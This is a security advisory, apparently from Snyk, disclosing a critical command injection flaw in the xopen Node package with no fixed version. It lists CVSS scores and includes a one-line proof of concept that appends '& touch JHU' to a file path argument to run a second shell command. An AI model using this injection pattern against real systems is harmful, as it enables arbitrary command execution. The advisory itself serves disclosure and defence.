Command Injection Affecting xopen package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.25% (66th percentile)

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  • Snyk ID SNYK-JS-XOPEN-1050981
  • published 26 Jan 2021
  • disclosed 26 Jan 2021
  • credit JHU System Security Lab

How to fix?

There is no fixed version for xopen.

Overview

xopen is a package that provides a dead-simple Promise API for opening files from Node on Windows, macOS, and Linux.

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 14 in index.js in the exported function xopen(filepath)

##PoC:

``` var root = require("xopen"); var attack_code = "& touch JHU"; root(attack_code);

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical